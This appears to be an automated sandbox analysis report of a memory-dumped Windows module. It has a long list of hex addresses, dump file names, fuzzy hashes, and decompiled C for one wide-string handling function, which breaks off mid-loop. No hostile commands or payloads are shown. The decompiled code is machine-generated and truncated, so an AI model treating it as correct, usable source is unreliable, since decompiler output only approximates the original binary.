0x6effd483
0x6effd4c8
0x6effd4ca
0x00000000
0x6effd485
0x6effd485
0x6effd487
0x6effd4b3
0x6effd4b3
0x6effd4b5
0x6effd4b6
0x6effd4ba
0x6effd4bf
0x6effd4c3
0x6effd4cd
0x6effd4d1
0x6effd4d4
0x6effd4d6
0x6effd4d6
0x6effd4d8
0x6effd4da
0x00000000
0x00000000
0x6effd4e0
0x6effd4ea
0x6effd4ea
0x6effd4ed
0x6effd4ee
0x6effd4f1
0x6effd4f3
0x00000000
0x00000000
0x6effd4f5
0x6effd4f7
0x6effd8db
0x6effd8de
0x00000000
0x6effd8de
0x6effd4fd
0x6effd4fd
0x6effd4ff
0x6effd8e7
0x00000000
0x6effd8e7
0x6effd4e4
0x6effd4e7
0x6effd4e7
0x6effd4e7
0x6effd4ea
0x6effd489
0x6effd48c
0x6effd48f
0x6effd491
0x00000000
0x00000000
0x6effd493
0x6effd493
0x6effd495
0x6effd495
0x6effd496
0x6effd49b
0x6effd4a0
0x6effd4a2
0x00000000
0x00000000
0x6effd4a4
0x6effd4a8
0x6effd4ac
0x6effd4ae
0x00000000
0x00000000
0x00000000
0x6effd4ae
0x6effd4b0
0x00000000
0x6effd4b0
0x6effd483
0x6effd43f
0x00000000
0x00000000
0x00000000
0x00000000
0x6effd417
0x6effd417
0x6effd41b
0x6effd41d
0x00000000
0x00000000
0x6effd41f
0x6effd420
0x6effd426
0x00000000
0x00000000
0x00000000
0x6effd426
0x00000000
0x6effd417
0x6effd8ef
0x6effd8f4
0x00000000
0x6effd8f4
0x6effd3c2
0x6effd3c4
0x6effd3c7
0x00000000
0x00000000
0x6effd3ce
0x6effd3ce
0x6effd3d0
0x6effd3d0
0x6effd3d4
0x6effd3d6
0x00000000
0x00000000
0x6effd3d8
0x6effd3d9
0x6effd3db
0x00000000
0x00000000
0x00000000
0x6effd3db
0x00000000
0x6effd3d0
0x6effd231
0x6effd239
0x6effd23b
0x6effd23c
0x6effd23e
0x6effd240
0x6effd244
0x6effd246
0x6effd246
0x6effd248
0x6effd977
0x6effd924
0x6effd924
0x6effd928
0x6effd2cb
0x6effd2d0
0x6effd2d0
0x6effd2d3
0x6effd2d6
0x6effd2d9
0x6effd2dd
0x6effd368
0x6effd36d
0x6effd36f
0x6effd373
0x6effd378
0x6effd382
0x6effd384
0x6effd386
0x00000000
0x00000000
0x6effd388
0x6effd38b
0x6effd38d
0x6effd5fd
0x6effd5ff
0x00000000
0x00000000
0x6effd607
0x6effd607
0x6effd60a
0x6effd626
0x6effd62a
0x6effd636
0x6effd636
0x6effd63c
0x6effd63c
0x6effd641
0x6effd645
0x6effd649
0x6effd64b
0x00000000
0x00000000
0x6effd651
0x6effd654
0x6effd656
0x00000000
0x00000000
0x6effd658
0x6effd65e
0x6effd671
0x6effd671
0x6effd676
0x6effd676
0x6effd678
0x6effd958
0x6effd701
0x6effd701
0x6effd701
0x6effd705
0x6effd707
0x6effd730
0x6effd733
0x6effd736
0x6effd73a
0x6effd7e1
0x6effd7e1
0x6effd7e3
0x6effd7e5
0x6effd919
0x6effd919
0x6effd91d
0x6effd91f
0x6effd920
0x6effd922
0x6effd92f
0x6effd934
0x6effd936
0x00000000
0x6effd936
0x00000000
0x6effd922
0x6effd7eb
0x6effd7ee
0x6effd7ee
0x6effd7f0
0x6effd81c
0x6effd81c
0x6effd81e
0x6effd820
0x6effd829
0x6effd85c
0x6effd85c
0x6effd860
0x6effd862
0x6effd865
0x6effd866
0x6effd868
0x6effd252
0x6effd254
0x6effd254
0x6effd257
0x6effd277
0x6effd27b
0x6effd287
0x6effd287
0x6effd28d
0x6effd28d
0x6effd292
0x6effd296
0x6effd29a
0x6effd29c
0x00000000
0x00000000
0x6effd2a2
0x6effd2a5
0x6effd2a7
0x00000000
0x00000000
0x6effd2a9
0x6effd2af
0x6effd2c6
0x6effd2c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6effd2b1
0x6effd2b1
0x6effd2b5
0x6effd2b7
0x00000000
0x00000000
0x6effd2bd
0x6effd2be
0x6effd2c4
0x00000000
0x00000000
0x00000000
0x6effd2c4
0x6effd8c6
0x6effd8c6
0x6effd8c9
0x6effd8d1
0x6effd8d1
0x00000000
0x6effd8c9
0x6effd96b
0x6effd970
0x00000000
0x6effd970
0x6effd259
0x6effd25b
0x6effd25d
0x00000000
0x00000000
0x6effd264
0x6effd264
0x6effd266
0x6effd266
0x6effd26a
0x6effd26c
0x00000000
0x00000000
0x6effd272
0x6effd273
0x6effd275
0x00000000
0x00000000
0x00000000
0x6effd275
0x00000000
0x6effd266
0x6effd93e
0x6effd895
0x6effd897
0x6effd899
0x00000000
0x6effd899
0x6effd82b
0x6effd82b
0x6effd833
0x6effd837
0x6effd83b
0x6effd83f
0x6effd83f
0x6effd843
0x6effd847
0x6effd849
0x00000000
0x00000000
0x6effd84b
0x6effd84b
0x6effd84f
0x6effd850
0x6effd852
0x00000000
0x00000000
0x00000000
0x6effd852
0x6effd854
0x6effd858
0x00000000
0x6effd858
0x6effd822
0x00000000
0x6effd822
0x6effd7f2
0x6effd7f6
0x6effd7f6
0x6effd7f8
0x6effd7fc
0x6effd7fc
0x6effd7fd
0x6effd804
0x6effd807
0x6effd809
0x00000000
0x00000000
0x6effd80e
0x6effd810
0x6effd812
0x00000000
0x00000000
0x00000000
0x6effd812
0x6effd814
0x6effd818
0x00000000
0x6effd818
0x6effd740
0x6effd74a
0x6effd74d
0x6effd74d
0x6effd752
0x6effd75a
0x6effd75a
0x6effd75a
0x6effd75b
0x6effd765
0x6effd76f
0x6effd773
0x6effd774
0x6effd778
0x6effd77d
0x6effd781
0x6effd783
0x6effd786
0x6effd788
0x6effd7da
0x6effd7dc
0x00000000
0x6effd78a
0x6effd78a
0x6effd78c
0x6effd7bd
0x6effd7bd
0x6effd7bf
0x6effd7c0
0x6effd7c4
0x6effd7c8
0x6effd7cd
0x6effd7d1
0x6effd7d5
0x6effd7df
0x6effd7df
0x00000000
0x6effd7df
0x6effd78e
0x6effd791
0x6effd794
0x6effd796
0x00000000
0x00000000
0x6effd798
0x6effd79c
0x6effd79c
0x6effd79e
0x6effd79e
0x6effd79f
0x6effd7a4
0x6effd7a9
0x6effd7ab
0x00000000
0x00000000
0x6effd7ad
0x6effd7b1
0x6effd7b5
0x6effd7b7
0x00000000
0x00000000
0x00000000
0x6effd7b7
0x6effd7b9
0x00000000
0x6effd7b9
0x6effd788
0x6effd709
0x6effd70b
0x6effd90e
0x6effd913
0x6effd724
0x6effd724
0x00000000
0x6effd724
0x00000000
0x6effd913
0x6effd711
0x6effd713
0x6effd716
0x6effd71b
0x00000000
0x00000000
0x6effd71d
0x00000000
0x6effd71d
0x6effd680
0x6effd680
0x6effd683
0x6effd6ac
0x6effd6b0
0x6effd6bc
0x6effd6c0
0x6effd6c0
0x6effd6c5
0x6effd6c5
0x6effd6ca
0x6effd6ce
0x6effd6d2
0x6effd6d4
0x00000000
0x00000000
0x6effd6da
0x6effd6dd
0x6effd6df
0x00000000
0x00000000
0x6effd6e1
0x6effd6e5
0x6effd6ea
0x6effd6fc
0x6effd6fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6effd6ec
0x6effd6ec
0x6effd6f0
0x6effd6f2
0x00000000
0x00000000
0x6effd6f4
0x6effd6f5
0x6effd6fa
0x00000000
0x00000000
0x00000000
0x6effd6fa
0x00000000
0x6effd6ec
0x6effd948
0x6effd94b
0x6effd94d
0x6effd951
0x00000000
0x6effd951
0x6effd685
0x6effd687
0x6effd68a
0x00000000
0x00000000
0x6effd691
0x6effd691
0x6effd693
0x6effd697
0x6effd69b
0x6effd69d
0x00000000
0x00000000
0x6effd6a3
0x6effd6a4
0x6effd6a6
0x00000000
0x00000000
0x6effd6a8
0x00000000
0x6effd6a8
0x6effd905
0x00000000
0x00000000
0x00000000
0x00000000
0x6effd660
0x6effd660
0x6effd664
0x6effd666
0x00000000
0x00000000
0x6effd668
0x6effd669
0x6effd66f
0x00000000
0x00000000
0x00000000
0x6effd66f
0x00000000
0x6effd660
0x6effd95f
0x6effd964
0x00000000
0x6effd964
0x6effd60c
0x6effd60e
0x6effd610
0x00000000
0x00000000
0x6effd617
0x6effd617
0x6effd619
0x6effd619
0x6effd61d
0x6effd61f
0x00000000
0x00000000
0x6effd621
0x6effd622
0x6effd624
0x00000000
0x00000000
0x00000000
0x6effd624
0x00000000
0x6effd619
0x00000000
0x6effd38d
0x6effd2ed
0x6effd2f0
0x6effd2f0
0x6effd2f6
0x6effd2fe
0x6effd2fe
0x6effd2fe
0x6effd301
0x6effd306
0x6effd310
0x6effd314
0x6effd315
0x6effd31a
0x6effd31d
0x6effd31f
0x6effd361
0x6effd363
0x00000000
0x6effd321
0x6effd321
0x6effd323
0x6effd34c
0x6effd34c
0x6effd34e
0x6effd34f
0x6effd353
0x6effd358
0x6effd35c
0x6effd366
0x6effd366
0x00000000
0x6effd366
0x6effd325
0x6effd328
0x6effd32b
0x6effd32d
0x00000000
0x00000000
0x6effd32f
0x6effd32f
0x6effd331
0x6effd331
0x6effd332
0x6effd337
0x6effd33c
0x6effd33e
0x00000000
0x00000000
0x6effd340
0x6effd344
0x6effd348
0x6effd34a
0x00000000
0x00000000
0x00000000
0x6effd34a
0x00000000
0x6effd331
0x6effd31f
0x6effd24e
0x00000000
0x6effd393
0x6effd393
0x6effd395
0x6effd396
0x6effd396
0x6effd39e
0x00000000
0x6effd39e
0x6effd0d3
0x6effd0d5
0x00000000
0x00000000
0x6effd0dd
0x6effd0dd
0x6effd0e0
0x6effd107
0x6effd10b
0x6effd117
0x6effd117
0x6effd11d
0x6effd121
0x6effd123
0x6effd123
0x6effd128
0x6effd12c
0x6effd130
0x6effd132
0x00000000
0x00000000
0x6effd138
0x6effd13b
0x6effd13d
0x00000000
0x00000000
0x6effd13f
0x6effd143
0x6effd146
0x6effd14e
0x6effd168
0x6effd168
0x6effd170
0x6effd179
0x6effd17c
0x6effd17f
0x6effd182
0x6effd184
0x6effd1a8
0x6effd1ab
0x6effd1ab
0x6effd1b1
0x6effd1b9
0x6effd1b9
0x6effd1b9
0x6effd1bc
0x6effd1c1
0x6effd1cb
0x6effd1cf
0x6effd1d0
0x6effd1d4
0x6effd1d9
0x6effd1dd
0x6effd1e2
0x6effd1e4
0x6effd1e7
0x6effd1eb
0x6effd1f7
0x6effd1f7
0x6effd1fa
0x6effd1fb
0x6effd1fe
0x6effd200
0x00000000
0x00000000
0x6effd202
0x6effd204
0x6effd87f
0x6effd881
0x6effd884
0x6effd888
0x6effd88c
0x6effd88c
0x6effd88f
0x00000000
0x00000000
0x00000000
0x6effd88f
0x6effd20a
0x6effd20a
0x6effd20c
0x6effd8a1
0x6effd8a4
0x00000000
0x6effd8a4
0x6effd1f1
0x6effd1f4
0x6effd1f4
0x6effd1f4
0x6effd1f7
0x6effd186
0x6effd188
0x6effd18b
0x00000000
0x00000000
0x6effd191
0x00000000
0x6effd191
0x6effd150
0x6effd150
0x6effd154
0x6effd158
0x6effd15a
0x00000000
0x00000000
0x6effd160
0x6effd161
0x6effd166
0x00000000
0x00000000
0x00000000
0x6effd166
0x6effd8aa
0x00000000
0x6effd8aa
0x6effd8b3
0x6effd8ba
0x6effd8bd
0x00000000
0x6effd8bd
0x6effd0e2
0x6effd0e4
0x6effd0e8
0x6effd0ea
0x00000000
0x00000000
0x6effd0f1
0x6effd0f1
0x6effd0f3
0x6effd0f7
0x6effd0f9
0x00000000
0x00000000
0x6effd0ff
0x6effd100
0x6effd102
0x00000000
0x00000000
0x00000000
0x6effd104
0x6effd873
0x6effd877
0x00000000
0x6effd877
0x6effd05a
0x6effd061
0x6effd063
0x6effd06b
0x6effd06d
0x6effd070
0x6effd074
0x6effd0ae
0x6effd0b0
0x6effd0b3
0x6effd0b3
0x6effd0b5
0x00000000
0x6effd0b5
0x6effd078
0x6effd0a1
0x6effd0a1
0x6effd0a3
0x6effd0a4
0x6effd0a9
0x00000000
0x6effd0a9
0x6effd07a
0x6effd07d
0x6effd082
0x00000000
0x00000000
0x6effd084
0x6effd086
0x6effd086
0x6effd087
0x6effd08c
0x6effd093
0x00000000
0x00000000
0x6effd095
0x6effd099
0x6effd09f
0x00000000
0x00000000
0x00000000
0x6effd09f
0x00000000

Strings

@, xrefs: 6EFFD90E

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction ID: 1f2b67179b3ceb1c9ae54b0aa58d1760a7f25467f3a182de29663bc65b0a9f29
Opcode Fuzzy Hash: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction Fuzzy Hash: E542F872A04712CBD7548FA9C47032A73E2AFC5754F15862DD8A99B3B4EB36D843CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6F0089F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6F0089F0(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				unsigned int _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _t205;
				signed int* _t207;
				signed int _t211;
				unsigned int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t223;
				intOrPtr* _t224;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t242;
				signed int _t243;
				signed int _t248;
				signed int _t253;
				signed int _t258;
				signed int _t261;
				signed int _t262;
				unsigned int _t271;
				signed int _t277;
				void* _t278;
				signed int _t279;
				signed int _t280;
				short* _t283;
				signed int _t285;
				signed int _t286;
				intOrPtr* _t292;
				signed short* _t295;
				signed int* _t296;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				unsigned int _t309;
				signed int _t310;
				signed int _t313;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				void* _t322;
				signed int _t323;
				void* _t324;
				signed int _t325;
				signed int _t326;
				signed int _t329;
				signed int _t330;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t350;
				intOrPtr _t352;
				intOrPtr* _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				void* _t358;
				signed int _t359;
				signed int _t360;
				signed int* _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t374;
				unsigned int _t381;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t385;
				intOrPtr* _t386;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t401;
				unsigned int _t403;
				signed int _t404;
				signed short* _t405;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				intOrPtr* _t419;
				signed int _t420;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				unsigned int _t431;
				signed int _t433;
				signed int _t439;
				signed int* _t441;
				signed int* _t442;
				signed int _t444;
				void* _t446;
				void* _t448;

				_push(_t298);
				_t446 = (_t444 & 0xfffffff0) - 0x24;
				_t419 = __ecx;
				_t352 =  *__ecx;
				if(_t352 != 0) {
					_t318 =  *( *( *(__ecx + 4)));
					__eflags = _t318;
					if(_t318 == 0) {
						L34:
						_push(0x80);
						_t299 = E6EFF1030();
						_t446 = _t446 + 4;
						__eflags =  *_t419 - 1;
						 *_t299 = 0;
						if( *_t419 <= 1) {
							goto L45;
						} else {
							_t374 = 0x40;
							goto L36;
						}
					} else {
						__eflags =  *_t318 & 0x0000ffff;
						if(( *_t318 & 0x0000ffff) == 0) {
							goto L34;
						} else {
							_t277 = _t318 & 0x0000000f;
							__eflags = _t277;
							if(_t277 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t414 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t414;
								while(1) {
									asm("movdqu xmm1, [ecx+eax*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t298;
									if(_t298 != 0) {
										break;
									}
									_t277 = _t277 + 8;
									__eflags = _t277 - _t414;
									if(_t277 < _t414) {
										continue;
									} else {
										__eflags = _t414 - 0x7fffffff;
										if(_t414 >= 0x7fffffff) {
											goto L22;
										} else {
											goto L20;
										}
									}
									goto L23;
								}
								asm("bsf edi, ebx");
								_t414 = (_t414 >> 1) + _t277;
							} else {
								_t414 = 0;
								__eflags = _t277 & 0x00000001;
								if((_t277 & 0x00000001) != 0) {
									while(1) {
										L20:
										__eflags =  *(_t318 + _t414 * 2) & 0x0000ffff;
										if(( *(_t318 + _t414 * 2) & 0x0000ffff) == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - 0x7fffffff;
										if(_t414 < 0x7fffffff) {
											continue;
										} else {
											L22:
											_t414 = 0x7fffffff;
										}
										goto L23;
									}
								} else {
									_t277 =  ~_t277 + 0x10 >> 1;
									__eflags = _t277;
									while(1) {
										_t298 =  *(_t318 + _t414 * 2) & 0x0000ffff;
										__eflags = _t298;
										if(_t298 == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - _t277;
										if(_t414 < _t277) {
											continue;
										} else {
											goto L16;
										}
										goto L23;
									}
								}
							}
							L23:
							_t23 = _t414 + 1; // 0x80000000
							_t278 = _t23;
							__eflags = _t278 - 0x40;
							_t279 =  <=  ? 0x40 : _t278;
							__eflags = _t279;
							if(_t279 > 0) {
								_t309 = (_t279 >> 5 >> 0x1a) + _t279 >> 6;
								_t280 = _t279 & 0x8000003f;
								__eflags = _t280;
								if(_t280 < 0) {
									_t280 = (_t280 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t280;
								}
								__eflags = _t280;
								_t310 = _t309 + (0 | _t280 > 0x00000000);
								_push(_t310 << 7);
								_v36 = _t310 << 6;
								_v52 = _t318;
								_t283 = E6EFF1030();
								_t350 = _v52;
								_t374 = _v36;
								_v48 = _t283;
								_t446 = _t446 + 4;
								_v40 = _t283;
								_v44 = 0;
								 *_t283 = 0;
								_v28 = _t419;
								_v52 =  *_t419;
								_t313 = _v44;
								_t441 = _v48;
								while(1) {
									_t285 =  *_t350 & 0x0000ffff;
									_t313 = _t313 + 1;
									 *_t441 = _t285;
									__eflags = _t414;
									if(_t414 == 0) {
										goto L32;
									}
									__eflags = _t313 - _t414;
									if(_t313 == _t414) {
										_v48 = _t441;
										__eflags = 0;
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
										_t441[0] = 0;
									} else {
										goto L32;
									}
									L177:
									__eflags = _t286 - 1;
									if(_t286 > 1) {
										goto L36;
									} else {
										goto L178;
									}
									goto L89;
									L32:
									__eflags = _t285;
									if(_t285 == 0) {
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
									} else {
										_t441 =  &(_t441[0]);
										_t350 = _t350 + 2;
										__eflags = _t350;
										continue;
									}
									goto L177;
								}
							} else {
								_t299 = 0;
								__eflags = _t352 - 1;
								if(_t352 <= 1) {
									L45:
									_t353 = _a4;
									 *_t353 = 0;
									 *((intOrPtr*)(_t353 + 4)) = 0;
									__eflags = _t299;
									if(_t299 == 0) {
										goto L80;
									} else {
										goto L46;
									}
								} else {
									_t374 = 0;
									L36:
									_t223 = _a8 & 0x0000ffff;
									_t403 = 1;
									_v36 = _t374;
									asm("pxor xmm0, xmm0");
									do {
										__eflags = _t223;
										if(_t223 == 0) {
											_v28 = _t419;
										} else {
											__eflags = _t299;
											if(_t299 == 0) {
												_v28 = _t419;
												L182:
												_t425 = 0;
											} else {
												_v28 = _t419;
												L151:
												_t248 = _t299 & 0x0000000f;
												__eflags = _t248;
												if(_t248 == 0) {
													L156:
													asm("pxor xmm1, xmm1");
													_t439 =  ~( ~_t248 + 0x00000007 & 0x00000007) + 0x7fffffff;
													__eflags = _t439;
													while(1) {
														asm("movdqu xmm0, [ebx+eax*2]");
														asm("pcmpeqw xmm0, xmm1");
														asm("pmovmskb edx, xmm0");
														__eflags = _t374;
														if(_t374 != 0) {
															break;
														}
														_t248 = _t248 + 8;
														__eflags = _t248 - _t439;
														if(_t248 < _t439) {
															continue;
														} else {
															__eflags = _t439 - 0x7fffffff;
															if(_t439 >= 0x7fffffff) {
																goto L162;
															} else {
																goto L160;
															}
														}
														goto L163;
													}
													asm("bsf esi, edx");
													_t425 = (_t439 >> 1) + _t248;
													goto L191;
												} else {
													_t439 = 0;
													__eflags = _t248 & 0x00000001;
													if((_t248 & 0x00000001) != 0) {
														while(1) {
															L160:
															__eflags =  *(_t299 + _t439 * 2) & 0x0000ffff;
															if(( *(_t299 + _t439 * 2) & 0x0000ffff) == 0) {
																goto L191;
															}
															_t439 = _t439 + 1;
															__eflags = _t439 - 0x7fffffff;
															if(_t439 < 0x7fffffff) {
																continue;
															} else {
																L162:
																_t425 = 0x7fffffff;
															}
															goto L163;
														}
														goto L191;
													} else {
														_t248 =  ~_t248 + 0x10 >> 1;
														__eflags = _t248;
														while(1) {
															_t374 =  *(_t299 + _t439 * 2) & 0x0000ffff;
															__eflags = _t374;
															if(_t374 == 0) {
																break;
															}
															_t439 = _t439 + 1;
															__eflags = _t439 - _t248;
															if(_t439 < _t248) {
																continue;
															} else {
																goto L156;
															}
															goto L163;
														}
														L191:
														__eflags = _t425 - 0xfffffffe;
														if(_t425 == 0xfffffffe) {
															 *_t299 = 0;
														}
													}
												}
											}
											L163:
											_t158 = _t425 + 2; // -2147483652
											_t324 = _t158;
											__eflags = _t324 - 0x40;
											_t325 =  <=  ? 0x40 : _t324;
											__eflags = _t325 - _v36;
											if(_t325 > _v36) {
												_t381 = (_t325 >> 5 >> 0x1a) + _t325 >> 6;
												_t326 = _t325 & 0x8000003f;
												__eflags = _t326;
												if(_t326 < 0) {
													_t326 = (_t326 - 0x00000001 | 0xffffffc0) + 1;
													__eflags = _t326;
												}
												__eflags = _t326;
												_t382 = _t381 + (0 | _t326 > 0x00000000);
												_v36 = _t382 << 6;
												_push(_t382 << 7);
												_t384 = E6EFF1030();
												_t446 = _t446 + 4;
												__eflags = _t299;
												if(_t299 == 0) {
													__eflags = 0;
													 *_t384 = 0;
												} else {
													__eflags = _t384;
													if(_t384 != 0) {
														_t242 =  *_t299 & 0x0000ffff;
														 *_t384 = _t242;
														__eflags = _t242;
														if(_t242 != 0) {
															_t243 = 0;
															__eflags = 0;
															while(1) {
																_t243 = _t243 + 1;
																_t329 =  *(_t299 + _t243 * 4 - 2) & 0x0000ffff;
																 *(_t384 + _t243 * 4 - 2) = _t329;
																__eflags = _t329;
																if(_t329 == 0) {
																	goto L172;
																}
																_t330 =  *(_t299 + _t243 * 4) & 0x0000ffff;
																 *(_t384 + _t243 * 4) = _t330;
																__eflags = _t330;
																if(_t330 != 0) {
																	continue;
																}
																goto L172;
															}
														}
													}
													L172:
													_push(2);
													_push(_t299);
													_v48 = _t384;
													E6EFF10B0();
													_t384 = _v48;
													_t446 = _t446 + 8;
												}
												_t299 = _t384;
											}
											 *((short*)(_t299 + _t425 * 2)) = _a8 & 0x0000ffff;
											 *((short*)(_t299 + 2 + _t425 * 2)) = 0;
											while(1) {
												L41:
												_t224 = _v28;
												_t323 =  *( *((intOrPtr*)(_t224 + 4)) + _t403 * 4);
												_t374 =  *_t323;
												__eflags = _t374;
												if(_t374 == 0) {
													break;
												}
												__eflags =  *_t374 & 0x0000ffff;
												if(( *_t374 & 0x0000ffff) != 0) {
													__eflags = _t374 - _t299;
													if(_t374 == _t299) {
														goto L43;
													} else {
														_t227 = _t374 & 0x0000000f;
														__eflags = _t227;
														if(_t227 == 0) {
															L96:
															asm("pxor xmm1, xmm1");
															_t431 =  ~( ~_t227 + 0x00000007 & 0x00000007) + 0x7fffffff;
															__eflags = _t431;
															while(1) {
																asm("movdqu xmm0, [edx+eax*2]");
																asm("pcmpeqw xmm0, xmm1");
																asm("pmovmskb ecx, xmm0");
																__eflags = _t323;
																if(_t323 != 0) {
																	break;
																}
																_t227 = _t227 + 8;
																__eflags = _t227 - _t431;
																if(_t227 < _t431) {
																	continue;
																} else {
																	__eflags = _t431 - 0x7fffffff;
																	if(_t431 >= 0x7fffffff) {
																		goto L102;
																	} else {
																		goto L100;
																	}
																}
																goto L103;
															}
															asm("bsf esi, ecx");
															_t433 = (_t431 >> 1) + _t227;
														} else {
															_t433 = 0;
															__eflags = _t227 & 0x00000001;
															if((_t227 & 0x00000001) != 0) {
																while(1) {
																	L100:
																	__eflags =  *(_t374 + _t433 * 2) & 0x0000ffff;
																	if(( *(_t374 + _t433 * 2) & 0x0000ffff) == 0) {
																		goto L103;
																	}
																	_t433 = _t433 + 1;
																	__eflags = _t433 - 0x7fffffff;
																	if(_t433 < 0x7fffffff) {
																		continue;
																	} else {
																		L102:
																		_t433 = 0x7fffffff;
																	}
																	goto L103;
																}
															} else {
																_t227 =  ~_t227 + 0x10 >> 1;
																__eflags = _t227;
																while(1) {
																	_t323 =  *(_t374 + _t433 * 2) & 0x0000ffff;
																	__eflags = _t323;
																	if(_t323 == 0) {
																		goto L103;
																	}
																	_t433 = _t433 + 1;
																	__eflags = _t433 - _t227;
																	if(_t433 < _t227) {
																		continue;
																	} else {
																		goto L96;
																	}
																	goto L103;
																}
															}
														}
														L103:
														__eflags = _t299;
														if(_t299 == 0) {
															_t228 = 0;
														} else {
															_t346 = _t299 & 0x0000000f;
															__eflags = _t346;
															if(_t346 == 0) {
																L110:
																asm("pxor xmm1, xmm1");
																_v24 = _t403;
																_t228 =  ~( ~_t346 + 0x00000007 & 0x00000007) + 0x7fffffff;
																__eflags = _t228;
																while(1) {
																	asm("movdqu xmm0, [ebx+ecx*2]");
																	asm("pcmpeqw xmm0, xmm1");
																	asm("pmovmskb edi, xmm0");
																	__eflags = _t403;
																	if(_t403 != 0) {
																		break;
																	}
																	_t346 = _t346 + 8;
																	__eflags = _t346 - _t228;
																	if(_t346 < _t228) {
																		continue;
																	} else {
																		_t403 = _v24;
																		__eflags = _t228 - 0x7fffffff;
																		if(_t228 >= 0x7fffffff) {
																			goto L116;
																		} else {
																			goto L114;
																		}
																	}
																	goto L117;
																}
																asm("bsf eax, eax");
																_t271 = _t403 >> 1;
																_t403 = _v24;
																_t228 = _t271 + _t346;
															} else {
																_t228 = 0;
																__eflags = _t346 & 0x00000001;
																if((_t346 & 0x00000001) != 0) {
																	while(1) {
																		L114:
																		__eflags =  *(_t299 + _t228 * 2) & 0x0000ffff;
																		if(( *(_t299 + _t228 * 2) & 0x0000ffff) == 0) {
																			goto L117;
																		}
																		_t228 = _t228 + 1;
																		__eflags = _t228 - 0x7fffffff;
																		if(_t228 < 0x7fffffff) {
																			continue;
																		} else {
																			L116:
																			_t228 = 0x7fffffff;
																		}
																		goto L117;
																	}
																} else {
																	_t346 =  ~_t346 + 0x10 >> 1;
																	__eflags = _t346;
																	_v24 = _t403;
																	while(1) {
																		__eflags =  *(_t299 + _t228 * 2) & 0x0000ffff;
																		if(( *(_t299 + _t228 * 2) & 0x0000ffff) == 0) {
																			break;
																		}
																		_t228 = _t228 + 1;
																		__eflags = _t228 - _t346;
																		if(_t228 < _t346) {
																			continue;
																		} else {
																			_t403 = _v24;
																			goto L110;
																		}
																		goto L117;
																	}
																	_t403 = _v24;
																}
															}
														}
														L117:
														_t105 = _t228 + 1; // 0x80000000
														_t229 = _t433 + _t105;
														__eflags = _t229;
														if(_t229 != 0) {
															__eflags = _t229 - 0x40;
															_t230 =  <=  ? 0x40 : _t229;
															__eflags = _t230 - _v36;
															if(_t230 > _v36) {
																goto L123;
															}
															goto L135;
														} else {
															__eflags = _t299;
															if(_t299 == 0) {
																__eflags = _v36 - 0x40;
																if(_v36 < 0x40) {
																	goto L121;
																} else {
																	goto L187;
																}
															} else {
																_t334 = 0;
																 *_t299 = 0;
																__eflags = _v36 - 0x40;
																if(_v36 < 0x40) {
																	L121:
																	_t230 = 0x40;
																	L123:
																	_t341 = (_t230 >> 5 >> 0x1a) + _t230 >> 6;
																	_t253 = _t230 & 0x8000003f;
																	__eflags = _t253;
																	if(_t253 < 0) {
																		_t253 = (_t253 - 0x00000001 | 0xffffffc0) + 1;
																		__eflags = _t253;
																	}
																	__eflags = _t253;
																	_t342 = _t341 + (0 | _t253 > 0x00000000);
																	_v36 = _t342 << 6;
																	_push(_t342 << 7);
																	_v32 = _t374;
																	_t258 = E6EFF1030();
																	_t374 = _v32;
																	_t344 = _t258;
																	_t446 = _t446 + 4;
																	__eflags = _t299;
																	if(_t299 == 0) {
																		__eflags = 0;
																		 *_t344 = 0;
																	} else {
																		__eflags = _t344;
																		if(_t344 != 0) {
																			_t261 =  *_t299 & 0x0000ffff;
																			 *_t344 = _t261;
																			__eflags = _t261;
																			if(_t261 != 0) {
																				_v24 = _t403;
																				_t262 = 0;
																				__eflags = 0;
																				while(1) {
																					_t262 = _t262 + 1;
																					_t406 =  *(_t299 + _t262 * 4 - 2) & 0x0000ffff;
																					 *(_t344 + _t262 * 4 - 2) = _t406;
																					__eflags = _t406;
																					if(_t406 == 0) {
																						break;
																					}
																					_t407 =  *(_t299 + _t262 * 4) & 0x0000ffff;
																					 *(_t344 + _t262 * 4) = _t407;
																					__eflags = _t407;
																					if(_t407 != 0) {
